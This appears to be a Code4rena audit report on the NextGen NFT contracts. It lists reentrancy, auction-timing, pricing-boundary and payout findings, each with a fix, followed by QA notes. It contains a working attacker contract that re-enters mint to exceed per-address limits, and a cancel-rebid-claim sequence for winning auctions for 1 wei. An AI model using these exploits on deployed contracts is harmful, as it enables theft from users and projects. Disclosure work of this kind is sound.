NextGen - evmboi32's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L196-L254 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L189-L200 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L227-L232

Vulnerability details

Impact

A user can reenter the mint function during the public or allowlist mint phases and mint as many tokens as he wants.

Proof of Concept

We will look at the public sale but the same works for the allowlist phase. A user starts with 0 tokens when he first calls the mint function during the public mint phase.

function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable {
    require(setMintingCosts[_collectionID] == true, "Set Minting Costs");
    uint256 col = _collectionID;
    address mintingAddress;
    uint256 phase;
    string memory tokData = _tokenData;
    
    if (block.timestamp >= collectionPhases[col].allowlistStartTime && block.timestamp <= collectionPhases[col].allowlistEndTime) {
        ...
    } else if (block.timestamp >= collectionPhases[col].publicStartTime && block.timestamp <= collectionPhases[col].publicEndTime) {
        phase = 2;
        require(_numberOfTokens <= gencore.viewMaxAllowance(col), "Change no of tokens");
        require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");
        mintingAddress = msg.sender;
        tokData = '"public"';
    } else {
        revert("No minting");
    }
    uint256 collectionTokenMintIndex;
    collectionTokenMintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col) + _numberOfTokens - 1;
    
    require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(col), "No supply");
    require(msg.value >= (getPrice(col) * _numberOfTokens), "Wrong ETH");
    
    for(uint256 i = 0; i < _numberOfTokens; i++) {
        uint256 mintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col);
        gencore.mint(mintIndex, mintingAddress, _mintTo, tokData, _saltfun_o, col, phase);
    }
    collectionTotalAmount[col] = collectionTotalAmount[col] + msg.value;
    // control mechanism for sale option 3
    if (collectionPhases[col].salesOption == 3) {
        ...
    }
}

The function will check if enough msg.value was provided and if mintIndex is not out of range. After that, it calls the mint on the gencore contract.

function mint(
    uint256 mintIndex,
    address _mintingAddress,
    address _mintTo,
    string memory _tokenData,
    uint256 _saltfun_o,
    uint256 _collectionID,
    uint256 phase
) external {
    require(msg.sender == minterContract, "Caller is not the Minter Contract");
    collectionAdditionalData[_collectionID].collectionCirculationSupply =
        collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
    if (
        collectionAdditionalData[_collectionID].collectionTotalSupply
            >= collectionAdditionalData[_collectionID].collectionCirculationSupply
    ) {
        _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
        if (phase == 1) {
            tokensMintedAllowlistAddress[_collectionID][_mintingAddress] =
                tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
        } else {
            tokensMintedPerAddress[_collectionID][_mintingAddress] =
                tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
        }
    }
}

This checks that the total supply has not been surpassed and calls the internal _mintProcessing where the actual minting happens. Notice that the amount of tokens the user minted during the public sale increases only AFTER the minting is done. This calls for reentrancy.

function _mintProcessing(
    uint256 _mintIndex,
    address _recipient,
    string memory _tokenData,
    uint256 _collectionID,
    uint256 _saltfun_o 
) internal {
    tokenData[_mintIndex] = _tokenData;
    
    collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o);
    tokenIdsToCollectionIds[_mintIndex] = _collectionID;

    _safeMint(_recipient, _mintIndex);
}

As the _mintProcessing mints the tokens using the _safeMint and increases the tokens the user bought in a public sale only after this call this allows for reentrancy.

The malicious contract could look something like this

contract Malicious{
    address public minterContract;
    uint256 public count = 0;

    function onERC721Received(address, address, uint256, bytes memory) public returns (bytes4) {
        // reenter 3 times
        if(count <= 2){
            count++;
            this.mintTokens(minterContract);
        }
        return this.onERC721Received.selector;
    }

    function mintTokens(address _minterContract) external {
        minterContract = _minterContract;
        IMinterContract(_minterContract).mint(
            0,                // _collectionID
            3,                // _numberOfTokens
            0,                // _maxAllowance - not used
            "0x",             // _tokenData - whatever
            address(this),    // _mintTo
            new bytes32[](0), // merkleProof - not used
            address(this),    // _delegator - not used
            0                 // _saltfun_o - whaetever
        );
    }
}

The attacker first calls mintTokens function passing the address of the minter. Then after each mint, the onERC721Received function will be called where he can reenter the mint function on the minterContract as many times as he wants (bounded by gas). This example shows that he reenters the mint function 3 times so he ends up with a total of 12 tokens (3 reentrancies * 3 tokens and 1 normal call * 3 tokens). The same can be done during the ALLOW LIST SALE. (let's assume the max number of tokens you can mint during a sale is 3, set in the POC provided below)

How to run the POC

Practical POC provided on this gist: https://gist.github.com/evmboi32/ef3f44f1242d08779e081f30c83be49f (The contracts have been stripped of code down to the only parts that are needed for easier understanding)

• Create a new folder nextGenPOC
• Navigate to that folder using a command line
• Inside of this folder create contracts and test folders.
• Copy all .sol files into the contracts folder
• Copy Mint.js to the test folder
• Copy hardhat.config.js to the root nextGenPOC folder
• Inside the nextGenPOC folder run the next three commands

npm install --save-dev hardhat
npm install @nomicfoundation/hardhat-toolbox
npm install @openzeppelin/contracts

• Now you can run a test with npx hardhat test

Tools Used

VS Code

Recommended Mitigation Steps

Make sure to first increase the number of tokens minted and only then call the _mintProcessing function. Also, use the nonRentrant modifier from openzeppelin on the function just to be 100% sure.

function mint(
    uint256 mintIndex,
    address _mintingAddress,
    address _mintTo,
    string memory _tokenData,
    uint256 _saltfun_o,
    uint256 _collectionID,
    uint256 phase
) external {
    require(msg.sender == minterContract, "Caller is not the Minter Contract");
    collectionAdditionalData[_collectionID].collectionCirculationSupply =
        collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
    if (
        collectionAdditionalData[_collectionID].collectionTotalSupply
            >= collectionAdditionalData[_collectionID].collectionCirculationSupply
    ) {
        if (phase == 1) {
            tokensMintedAllowlistAddress[_collectionID][_mintingAddress] =
                tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
        } else {
            tokensMintedPerAddress[_collectionID][_mintingAddress] =
                tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
        }
        
        // This was placed below the token amount increase
        _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
    }
}

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L124-L143 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L120 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L57-L61

Vulnerability details

Impact

A user can always buy NFTs from an auction for as little as 1 wei.

Proof of Concept

Let's consider the following scenario:

• As soon as the auction for an NFT is created Alice backruns a tx with a call to participateToAuction for that token and bids 1 ETH from her custom contract. Let's assume the NFT is worth 1 ETH.
• Since Alice bid the exact amount the NFT is worth we can assume no one else is going to bid as it makes no sense but to lose money. She will remain the highest bidder.
• Alice waits until the very end of the auction and makes a call to her custom contract that she bid from at exactly block.timestamp == minter.getAuctionEndTime(_tokenid) (she takes a risk of a block being mined later than minter.getAuctionEndTime(_tokenid))
• If she manages to get her call mined at the right time (block.timestamp == minter.getAuctionEndTime(_tokenid)) she can do the following 3 calls in a single function call using her custom contract.

cancelBid(tokenId, aliceBidIndex); // get her 1 ETH back
participateToAuction{value: 1}(tokenId); // she bids 1 wei
claimAuction(tokenId); // she can claim an NFT as she remains the highest bidder

• The reason this will work is because all three functions allow to make calls at block.timestamp == minter.getAuctionEndTime(_tokenid)

function cancelBid(uint256 _tokenid, uint256 index) public {
    require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
    ...
}

function participateToAuction(uint256 _tokenid) public payable {
    require(
        msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid)
            && minter.getAuctionStatus(_tokenid) == true
    );
    ...
}

function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid, this.claimAuction.selector) {
    require(
        block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false
    ...
}

• In a worst case the block can be mined after the end time and she gets NFT for 1 ETH and then sells it for a minor loss. But using this approach many times she can succeed as profits outweigh the losses.

Tools Used

VS Code

Recommended Mitigation Steps

First, consider making the check in a claimAuction function more strict that it can only be claimed after the auction has ended.

require(
    block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false
        && minter.getAuctionStatus(_tokenid) == true
);

Second of all the idea of canceling bids is very bad as it allows for a behaviour like just mentioned above. Good practice is to create a refund for the highest bidder as soon as the auction gets a higher bid. Remove the function to cancelBid and implement something like this where the bidder can claim a refund in case they get outbid. This will prevent attacks when canceling the bids last minute. Note that directly refunding the highestBidder in the participateToAuction can cause DOS.

//These 2 are storage variables
+   auctionInfoStru public highestBidder;
+   mapping(address => uint256) public refunds;
    
    function participateToAuction(uint256 _tokenid) public payable {
        require(
            msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid)
                && minter.getAuctionStatus(_tokenid) == true
        );
        auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true);
        auctionInfoData[_tokenid].push(newBid);
        
+        // add refund
+        refunds[highestBidder.bidder] += highestBidder.bid;
+    
+        // set new highest bidder
+        highestBidder.bidder = msg.sender;
+        highestBidder.bid    = msg.value;
    }
+    
+    function claimRefund() external {
+        uint256 amount = refunds[msg.sender];
+        require(amount > 0, "no pending refunds");
+        
+        delete refunds[msg.sender];
+        
+        (bool success, ) = msg.sender.call{value: amount}("");
+        require(success, "failed to refund");
+    }

Assessed type

MEV

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L221-L227 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L540-L564

Vulnerability details

Impact

If a user buys a token at block.timestamp == collectionPhases[_collectionId].publicEndTime and the salesOption = 2, the user will pay the original maximum price instead of the discounted price.

Proof of Concept

As we can see public mint (phase = 2) is still allowed at block.timestamp == collectionPhases[_collectionId].publicEndTime

function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable {
    ...
    if (block.timestamp >= collectionPhases[col].allowlistStartTime && block.timestamp <= collectionPhases[col].allowlistEndTime) {
        ...
    } else if (block.timestamp >= collectionPhases[col].publicStartTime && block.timestamp <= collectionPhases[col].publicEndTime) {
        phase = 2;
        ...
    } else {
        revert("No minting");
    }
    ...
    require(msg.value >= (getPrice(col) * _numberOfTokens), "Wrong ETH");
    ...
}

Assuming this function is called at block.timestamp == collectionPhases[_collectionId].publicEndTime let's take a look what the getPrice function returns. We would expect it to return a decreased price in case of salesOption = 2

function getPrice(uint256 _collectionId) public view returns (uint256) {
    uint tDiff;
    if (collectionPhases[_collectionId].salesOption == 3) {
        ...
    } else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp < collectionPhases[_collectionId].publicEndTime){
        // decreases exponentially every time period
        // collectionPhases[_collectionId].timePeriod sets the time period for decreasing the mintcost
        // if just public mint set the publicStartTime = allowlistStartTime
        // if rate = 0 exponetialy decrease
        // if rate is set the linear decrase each period per rate
        tDiff = (block.timestamp - collectionPhases[_collectionId].allowlistStartTime) / collectionPhases[_collectionId].timePeriod;
        uint256 price;
        uint256 decreaserate;
        if (collectionPhases[_collectionId].rate == 0) {
            price = collectionPhases[_collectionId].collectionMintCost / (tDiff + 1);
            decreaserate = ((price - (collectionPhases[_collectionId].collectionMintCost / (tDiff + 2))) / collectionPhases[_collectionId].timePeriod) * ((block.timestamp - (tDiff * collectionPhases[_collectionId].timePeriod) - collectionPhases[_collectionId].allowlistStartTime));
        } else {
            if (((collectionPhases[_collectionId].collectionMintCost - collectionPhases[_collectionId].collectionEndMintCost) / (collectionPhases[_collectionId].rate)) > tDiff) {
                price = collectionPhases[_collectionId].collectionMintCost - (tDiff * collectionPhases[_collectionId].rate);
            } else {
                price = collectionPhases[_collectionId].collectionEndMintCost;
            }
        }
        if (price - decreaserate > collectionPhases[_collectionId].collectionEndMintCost) {
            return price - decreaserate; 
        } else {
            return collectionPhases[_collectionId].collectionEndMintCost;
        }
    } else {
        // fixed price
        return collectionPhases[_collectionId].collectionMintCost;
    }
}

There is a check

else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp < collectionPhases[_collectionId].publicEndTime)

which will not pass because the check is block.timestamp < collectionPhases[_collectionId].publicEndTime instead of block.timestamp <= collectionPhases[_collectionId].publicEndTime

This will cause the last block, the else block to be executed and will return the starting price of the mint. This is considered valid if the user provides msg.value >= collectionPhases[_collectionId].collectionMintCost. If the user provides less than that he will be denied a mint although he is still on time and provided enough ETH (assuming he provides enough ETH for the discounted price).

Tools Used

VS Code

Recommended Mitigation Steps

Change the else if check to

else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp <= collectionPhases[_collectionId].publicEndTime)

Assessed type

Timing

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L103-L120

Vulnerability details

Impact

The owner of a token will not receive proceeds from the auction.

Proof of Concept

The proceeds from the auction are sent to the owner of the AuctionDemo contract. Instead of the owner of the token.

function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
    ...
    for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
        if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
            IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
            (bool success, ) = payable(owner()).call{value: highestBid}("");
            emit ClaimAuction(owner(), _tokenid, success, highestBid);
        } else if (auctionInfoData[_tokenid][i].status == true) {
            ...
        } else {}
    }
}

Tools Used

Vs Code

Recommended Mitigation Steps

Transfer the proceeds from the auction to the owner of an NFT. If any fees should be applied, apply them here and send highestBid - fees to the owner of the token.

Assessed type

ETH-Transfer

Verify mint index in _mintProcessing

function _mintProcessing(
    uint256 _mintIndex,
    address _recipient,
    string memory _tokenData,
    uint256 _collectionID,
    uint256 _saltfun_o 
) internal {
+   require(tokenData[_mintIndex] == "", "Already used!");
    tokenData[_mintIndex] = _tokenData;
    collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o);
    tokenIdsToCollectionIds[_mintIndex] = _collectionID;

    _safeMint(_recipient, _mintIndex);
}

It is more elegant to use bytes for the salt instead of uint256

NextGenCore.sol

function airDropTokens(
    ...
    uint256 _saltfun_o,
    ...
) 

function mint(
    ...
    uint256 _saltfun_o,
    ...
) 

function burnToMint(
    ...
    uint256 _saltfun_o,
    ...
)

function _mintProcessing(
    ...
    uint256 _saltfun_o 
)

MinterContract.sol

function airDropTokens(
    ...
    uint256[] memory _saltfun_o,
    ...
)

function mint(
    ...
    uint256 _saltfun_o
)

function burnToMint(uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o)

function mintAndAuction(
    ...
    uint256 _saltfun_o,
    ...
)

function burnOrSwapExternalToMint(
    ...
    uint256 _saltfun_o
)

Random index values used for changing values

    function updateCollectionInfo(
        uint256 _collectionID,
        string memory _newCollectionName,
        string memory _newCollectionArtist,
        string memory _newCollectionDescription,
        string memory _newCollectionWebsite,
        string memory _newCollectionLicense,
        string memory _newCollectionBaseURI,
        string memory _newCollectionLibrary,
        uint256 _index,
        string[] memory _newCollectionScript
    ) public CollectionAdminRequired(_collectionID, this.updateCollectionInfo.selector) {
        require(
            (isCollectionCreated[_collectionID] == true) && (collectionFreeze[_cauollectionID] == false), "Not allowed"
        );
        if (_index == 1000) {
            collectionInfo[_collectionID].collectionName = _newCollectionName;
            collectionInfo[_collectionID].collectionArtist = _newCollectionArtist;
            collectionInfo[_collectionID].collectionDescription = _newCollectionDescription;
            collectionInfo[_collectionID].collectionWebsite = _newCollectionWebsite;
            collectionInfo[_collectionID].collectionLicense = _newCollectionLicense;
            collectionInfo[_collectionID].collectionLibrary = _newCollectionLibrary;
            collectionInfo[_collectionID].collectionScript = _newCollectionScript;
        } else if (_index == 999) {
            collectionInfo[_collectionID].collectionBaseURI = _newCollectionBaseURI;
        } else {
            collectionInfo[_collectionID].collectionScript[_index] = _newCollectionScript[0];
        }
    }

Consider adding a parameter that indicates which part of the config is being changed.

Randomizers use an address and an instance of a gencore contract

RandomizerRNG.sol

constructor(address _gencore, address _adminsContract, address _arRNG) ArrngConsumer(_arRNG) {
    gencore = _gencore;
    gencoreContract = INextGenCore(_gencore);
    adminsContract = INextGenAdmins(_adminsContract);
}

RandomizerVRF.sol

constructor(uint64 subscriptionId, address vrfCoordinator, address _gencore, address _adminsContract)
    VRFConsumerBaseV2(vrfCoordinator)
{
    COORDINATOR = VRFCoordinatorV2Interface(vrfCoordinator);
    s_subscriptionId = subscriptionId;
    gencore = _gencore;
    gencoreContract = INextGenCore(_gencore);
    adminsContract = INextGenAdmins(_adminsContract);
}

RandomizerNXT.sol

constructor(address _randoms, address _admin, address _gencore) {
    randoms = IXRandoms(_randoms);
    adminsContract = INextGenAdmins(_admin);
    gencore = _gencore;
    gencoreContract = INextGenCore(_gencore);
}

Consider only using gencoreContract = INextGenCore(_gencore); and just using address(gencoreContract) whenever you need the address.

Missing parameters check in setCollectionCosts

function setCollectionCosts(
    uint256 _collectionID,
    uint256 _collectionMintCost,
    uint256 _collectionEndMintCost,
    uint256 _rate,
    uint256 _timePeriod,
    uint8 _salesOption,
    address _delAddress
) public CollectionAdminRequired(_collectionID, this.setCollectionCosts.selector) {
    require(gencore.retrievewereDataAdded(_collectionID) == true, "Add data");
+   require(_timePeriod > 0, "time period 0");
+   require(_salesOption >= 1 && _salesOption <=3, "_salesOption out of bounds.");
    
    collectionPhases[_collectionID].collectionMintCost = _collectionMintCost;
    collectionPhases[_collectionID].collectionEndMintCost = _collectionEndMintCost;
    collectionPhases[_collectionID].rate = _rate;
    collectionPhases[_collectionID].timePeriod = _timePeriod;
    collectionPhases[_collectionID].salesOption = _salesOption;
    collectionPhases[_collectionID].delAddress = _delAddress;
    setMintingCosts[_collectionID] = true;
}

Missing checks in setCollectionPhases

function setCollectionPhases(
    uint256 _collectionID,
    uint256 _allowlistStartTime,
    uint256 _allowlistEndTime,
    uint256 _publicStartTime,
    uint256 _publicEndTime,
    bytes32 _merkleRoot
) public CollectionAdminRequired(_collectionID, this.setCollectionPhases.selector) {
    require(setMintingCosts[_collectionID] == true, "Set Minting Costs");
    require(block.timestamp > _allowlistStartTime, "already started");
    require(_allowlistEndTime > _allowlistStartTime, "cannot end before start");
    require(_publicStartTime > _allowlistEndTime, "cannot start before end of AL");
    require(_publicEndTime > _publicStartTime, "cannot end before start");
    
    collectionPhases[_collectionID].allowlistStartTime = _allowlistStartTime;
    collectionPhases[_collectionID].allowlistEndTime = _allowlistEndTime;
    collectionPhases[_collectionID].merkleRoot = _merkleRoot;
    collectionPhases[_collectionID].publicStartTime = _publicStartTime;
    collectionPhases[_collectionID].publicEndTime = _publicEndTime;
}

Incorrect tokenData in airDropTokens

function airDropTokens(
    address[] memory _recipients,
    string[] memory _tokenData,
    uint256[] memory _saltfun_o,
    uint256 _collectionID,
    uint256[] memory _numberOfTokens
) public FunctionAdminRequired(this.airDropTokens.selector) {
    require(gencore.retrievewereDataAdded(_collectionID) == true, "Add data");
    uint256 collectionTokenMintIndex;
    for (uint256 y = 0; y < _recipients.length; y++) {
        collectionTokenMintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID)
            + _numberOfTokens[y] - 1;
        require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(_collectionID), "No supply");
        for (uint256 i = 0; i < _numberOfTokens[y]; i++) {
            uint256 mintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID);
            gencore.airDropTokens(mintIndex, _recipients[y], _tokenData[y], _saltfun_o[y], _collectionID);
        }
    }
}

Docs say that @param _tokenData[] Refers to the additional token data that are stored on-chain for each airdropped token.

The function is using _tokenData[y] which will make the tokenData the same for all tokens the recipients receive. It should be using _tokenData[i] (the index of the internal loop instead of the outer loop) to have different data for each token.

Minting phases should use ENUM instead of magic numbers

While minting the magic numbers are used for phases

function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable {
    ...
    uint256 phase;
    ...
    if (block.timestamp >= collectionPhases[col].allowlistStartTime && block.timestamp <= collectionPhases[col].allowlistEndTime) {
        phase = 1;
        ...
    } else if (block.timestamp >= collectionPhases[col].publicStartTime && block.timestamp <= collectionPhases[col].publicEndTime) {
        phase = 2;
        ...
    }
    ...
    if (collectionPhases[col].salesOption == 3) {
        ...
    }
}

It can be very difficult to understand what phase = 1 means and so on. Consider implementing ENUM for example:

enum Phase{ ALLOWLIST, PUBLIC }

and then setting phases like

phase = Phase.PUBLIC;

it offers better readability. Consider doing the same for the salesOption

Check that collections are not the same in burnToMint

function burnToMint(uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o)
    public
    payable
{
    require(_burnCollectionID != _mintCollectionID, "cannot mint to the same colleciton");
    require(burnToMintCollections[_burnCollectionID][_mintCollectionID] == true, "Initialize burn");
    ...
}

No check for different addresses in proposePrimaryAddressesAndPercentages

_primaryAdd1, _primaryAdd2 and _primaryAdd3 can be the same. If it's not intended to be this way check that they are different using a require statement.

function proposePrimaryAddressesAndPercentages(
    uint256 _collectionID,
    address _primaryAdd1,
    address _primaryAdd2,
    address _primaryAdd3,
    uint256 _add1Percentage,
    uint256 _add2Percentage,
    uint256 _add3Percentage
) public ArtistOrAdminRequired(_collectionID, this.proposePrimaryAddressesAndPercentages.selector) {
    require(collectionArtistPrimaryAddresses[_collectionID].status == false, "Already approved");
    require(
        _add1Percentage + _add2Percentage + _add3Percentage
            == collectionRoyaltiesPrimarySplits[_collectionID].artistPercentage,
        "Check %"
    );
    collectionArtistPrimaryAddresses[_collectionID].primaryAdd1 = _primaryAdd1;
    collectionArtistPrimaryAddresses[_collectionID].primaryAdd2 = _primaryAdd2;
    collectionArtistPrimaryAddresses[_collectionID].primaryAdd3 = _primaryAdd3;
    collectionArtistPrimaryAddresses[_collectionID].add1Percentage = _add1Percentage;
    collectionArtistPrimaryAddresses[_collectionID].add2Percentage = _add2Percentage;
    collectionArtistPrimaryAddresses[_collectionID].add3Percentage = _add3Percentage;
    collectionArtistPrimaryAddresses[_collectionID].status = false;
}

Double check that the protocol doesn't send funds to address(0) in emergencyWithdraw

function emergencyWithdraw() public FunctionAdminRequired(this.emergencyWithdraw.selector) {
    uint256 balance = address(this).balance;
    address admin = adminsContract.owner();
+   require(admin != address(0), "sending to address(0)");

    (bool success,) = payable(admin).call{value: balance}("");
    emit Withdraw(msg.sender, success, balance);
}

Consider using a bps representation of the percentage split to allow for more precision

artistPercentageand teamPercentage are represented from 0 to 100. Consider representing 100% from 0 to 10_000 to add more precision on splits

Make sure the auction end time is in the future

Maybe consider adding a MIN_DURATION and MAX_DURATION also.

function mintAndAuction(
    address _recipient,
    string memory _tokenData,
    uint256 _saltfun_o,
    uint256 _collectionID,
    uint256 _auctionEndTime
) public FunctionAdminRequired(this.mintAndAuction.selector) {
    require(gencore.retrievewereDataAdded(_collectionID) == true, "Add data");
+   require(_auctionEndTime > block.timestamp);
    ...
}

_burnCollectionID in the initializeExternalBurnOrSwapand burnOrSwapExternalToMint serves no purpose

function initializeExternalBurnOrSwap(
    address _erc721Collection,
    uint256 _burnCollectionID,
    uint256 _mintCollectionID,
    uint256 _tokmin,
    uint256 _tokmax,
    address _burnOrSwapAddress,
    bool _status
) public FunctionAdminRequired(this.initializeExternalBurnOrSwap.selector) {
    bytes32 externalCol = keccak256(abi.encodePacked(_erc721Collection, _burnCollectionID));
    require((gencore.retrievewereDataAdded(_mintCollectionID) == true), "No data");
    burnExternalToMintCollections[externalCol][_mintCollectionID] = _status;
    burnOrSwapAddress[externalCol] = _burnOrSwapAddress;
    burnOrSwapIds[externalCol][0] = _tokmin;
    burnOrSwapIds[externalCol][1] = _tokmax;
}

function burnOrSwapExternalToMint(
    address _erc721Collection,
    uint256 _burnCollectionID,
    uint256 _tokenId,
    uint256 _mintCollectionID,
    string memory _tokenData,
    bytes32[] calldata merkleProof,
    uint256 _saltfun_o
) public payable {
    bytes32 externalCol = keccak256(abi.encodePacked(_erc721Collection, _burnCollectionID));
    require(burnExternalToMintCollections[externalCol][_mintCollectionID] == true, "Initialize external burn");
    require(setMintingCosts[_mintCollectionID] == true, "Set Minting Costs");
    address ownerOfToken = IERC721(_erc721Collection).ownerOf(_tokenId);
    if (msg.sender != ownerOfToken) {
        bool isAllowedToMint;
        isAllowedToMint = dmc.retrieveGlobalStatusOfDelegation(
            ownerOfToken, 0x8888888888888888888888888888888888888888, msg.sender, 1
        )
            || dmc.retrieveGlobalStatusOfDelegation(
                ownerOfToken, 0x8888888888888888888888888888888888888888, msg.sender, 2
            );
        if (isAllowedToMint == false) {
            isAllowedToMint = dmc.retrieveGlobalStatusOfDelegation(ownerOfToken, _erc721Collection, msg.sender, 1)
                || dmc.retrieveGlobalStatusOfDelegation(ownerOfToken, _erc721Collection, msg.sender, 2);
        }
        require(isAllowedToMint == true, "No delegation");
    }
    require(
        _tokenId >= burnOrSwapIds[externalCol][0] && _tokenId <= burnOrSwapIds[externalCol][1],
        "Token id does not match"
    );
    IERC721(_erc721Collection).safeTransferFrom(ownerOfToken, burnOrSwapAddress[externalCol], _tokenId);
    uint256 col = _mintCollectionID;
    address mintingAddress;
    uint256 phase;
    string memory tokData = _tokenData;
    if (
        block.timestamp >= collectionPhases[col].allowlistStartTime
            && block.timestamp <= collectionPhases[col].allowlistEndTime
    ) {
        phase = 1;
        bytes32 node;
        node = keccak256(abi.encodePacked(_tokenId, tokData));
        mintingAddress = ownerOfToken;
        require(MerkleProof.verifyCalldata(merkleProof, collectionPhases[col].merkleRoot, node), "invalid proof");
    } else if (
        block.timestamp >= collectionPhases[col].publicStartTime
            && block.timestamp <= collectionPhases[col].publicEndTime
    ) {
        phase = 2;
        mintingAddress = ownerOfToken;
        tokData = '"public"';
    } else {
        revert("No minting");
    }
    uint256 collectionTokenMintIndex;
    collectionTokenMintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col);
    require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(col), "No supply");
    require(msg.value >= (getPrice(col) * 1), "Wrong ETH");
    uint256 mintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col);
    gencore.mint(mintIndex, mintingAddress, ownerOfToken, tokData, _saltfun_o, col, phase);

    collectionTotalAmount[col] = collectionTotalAmount[col] + msg.value;
}

It doesn't make sense to use _burnCollectionID because we are already using the _erc721Collection to indicate the erc721 collection we want to burn tokens from. To me, it seems like a redundant parameter and it only makes things more complex. Use only the _erc721Collection parameter.

bytes32 externalCol = keccak256(abi.encodePacked(_erc721Collection));